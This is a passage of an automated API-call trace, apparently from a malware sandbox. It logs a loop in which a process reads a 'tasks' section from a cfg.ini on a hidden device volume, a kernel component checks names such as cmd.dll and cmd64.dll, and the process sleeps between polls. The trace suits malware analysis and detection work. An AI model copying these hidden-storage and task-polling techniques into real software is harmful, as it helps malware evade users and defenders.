KeLeaveCriticalRegion () [0117.543] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.543] KeEnterCriticalRegion () [0117.543] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.543] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.543] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d97d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.543] KeLeaveCriticalRegion () [0117.543] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.543] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.543] KeEnterCriticalRegion () [0117.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.544] ExFreePoolWithTag (P=0xfffffa80039d96c0, Tag=0x0) [0117.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.544] KeLeaveCriticalRegion () [0117.544] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.544] ReleaseMutex (hMutex=0xf0) returned 1 [0117.544] Sleep (dwMilliseconds=0x927c0) [0117.559] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.559] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.559] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.559] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.559] KeEnterCriticalRegion () [0117.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.559] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.559] IdePortDispatch () returned 0x103 [0117.559] KeWaitForMutexObject () returned 0x0 [0117.559] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.559] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.559] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.559] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.559] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.559] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039dadc0 [0117.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.559] KeLeaveCriticalRegion () [0117.559] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.559] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.559] KeEnterCriticalRegion () [0117.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.559] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.559] KeLeaveCriticalRegion () [0117.559] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.559] KeEnterCriticalRegion () [0117.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.559] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.559] IdePortDispatch () returned 0x103 [0117.560] KeWaitForMutexObject () returned 0x0 [0117.560] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.560] KeLeaveCriticalRegion () [0117.560] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.560] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.560] KeEnterCriticalRegion () [0117.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.560] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ccc000 [0117.560] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.560] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.560] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.560] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.560] IdePortDispatch () returned 0x103 [0117.560] KeWaitForMutexObject () returned 0x0 [0117.560] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.560] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.560] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.560] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.560] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.560] IdePortDispatch () returned 0x103 [0117.560] KeWaitForMutexObject () returned 0x0 [0117.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.561] KeLeaveCriticalRegion () [0117.561] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.561] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.561] KeEnterCriticalRegion () [0117.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.561] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.561] KeLeaveCriticalRegion () [0117.561] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.561] KeEnterCriticalRegion () [0117.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.561] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.561] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039da750, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.561] KeLeaveCriticalRegion () [0117.561] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.561] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.561] KeEnterCriticalRegion () [0117.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.561] ExFreePoolWithTag (P=0xfffffa80039dadc0, Tag=0x0) [0117.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.561] KeLeaveCriticalRegion () [0117.561] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.561] ReleaseMutex (hMutex=0xf0) returned 1 [0117.562] Sleep (dwMilliseconds=0x927c0) [0117.575] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.575] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.575] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.575] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.575] KeEnterCriticalRegion () [0117.575] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.575] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.575] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.575] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.575] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.575] IdePortDispatch () returned 0x103 [0117.575] KeWaitForMutexObject () returned 0x0 [0117.575] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.575] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.575] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.575] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.576] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.576] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c1340 [0117.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.576] KeLeaveCriticalRegion () [0117.576] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.576] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.576] KeEnterCriticalRegion () [0117.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.576] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.576] KeLeaveCriticalRegion () [0117.576] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.576] KeEnterCriticalRegion () [0117.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.576] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.576] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.576] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.576] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.576] IdePortDispatch () returned 0x103 [0117.576] KeWaitForMutexObject () returned 0x0 [0117.576] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.576] KeLeaveCriticalRegion () [0117.576] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.576] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.576] KeEnterCriticalRegion () [0117.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.576] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd1000 [0117.576] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.576] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.576] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.576] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.576] IdePortDispatch () returned 0x103 [0117.576] KeWaitForMutexObject () returned 0x0 [0117.577] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.577] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.577] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.577] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.577] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.577] IdePortDispatch () returned 0x103 [0117.577] KeWaitForMutexObject () returned 0x0 [0117.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.577] KeLeaveCriticalRegion () [0117.577] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.577] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.577] KeEnterCriticalRegion () [0117.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.577] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.577] KeLeaveCriticalRegion () [0117.578] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.578] KeEnterCriticalRegion () [0117.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.578] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.578] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.578] KeLeaveCriticalRegion () [0117.578] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.578] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.578] KeEnterCriticalRegion () [0117.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.578] ExFreePoolWithTag (P=0xfffffa80039c1340, Tag=0x0) [0117.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.578] KeLeaveCriticalRegion () [0117.578] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.578] ReleaseMutex (hMutex=0xf0) returned 1 [0117.578] Sleep (dwMilliseconds=0x927c0) [0117.592] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.592] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.592] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.592] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.592] KeEnterCriticalRegion () [0117.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.593] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.593] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.593] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.593] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.593] IdePortDispatch () returned 0x103 [0117.593] KeWaitForMutexObject () returned 0x0 [0117.593] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.593] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.593] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.593] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.593] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.593] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da8f0 [0117.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.593] KeLeaveCriticalRegion () [0117.593] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.593] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.593] KeEnterCriticalRegion () [0117.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.593] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.593] KeLeaveCriticalRegion () [0117.593] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.593] KeEnterCriticalRegion () [0117.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.593] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.593] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.593] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.593] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.593] IdePortDispatch () returned 0x103 [0117.593] KeWaitForMutexObject () returned 0x0 [0117.593] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.594] KeLeaveCriticalRegion () [0117.594] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.594] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.594] KeEnterCriticalRegion () [0117.594] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.594] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd6000 [0117.594] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.594] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.594] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.594] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.594] IdePortDispatch () returned 0x103 [0117.594] KeWaitForMutexObject () returned 0x0 [0117.594] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.594] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.594] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.594] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.594] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.594] IdePortDispatch () returned 0x103 [0117.594] KeWaitForMutexObject () returned 0x0 [0117.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.594] KeLeaveCriticalRegion () [0117.594] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.595] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.595] KeEnterCriticalRegion () [0117.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.595] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.595] KeLeaveCriticalRegion () [0117.595] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.595] KeEnterCriticalRegion () [0117.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.595] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.595] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039da9b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.595] KeLeaveCriticalRegion () [0117.595] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.595] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.595] KeEnterCriticalRegion () [0117.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.595] ExFreePoolWithTag (P=0xfffffa80039da8f0, Tag=0x0) [0117.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.595] KeLeaveCriticalRegion () [0117.595] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.595] ReleaseMutex (hMutex=0xf0) returned 1 [0117.595] Sleep (dwMilliseconds=0x927c0) [0117.609] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.609] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.609] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.609] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.609] KeEnterCriticalRegion () [0117.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.609] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.609] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, 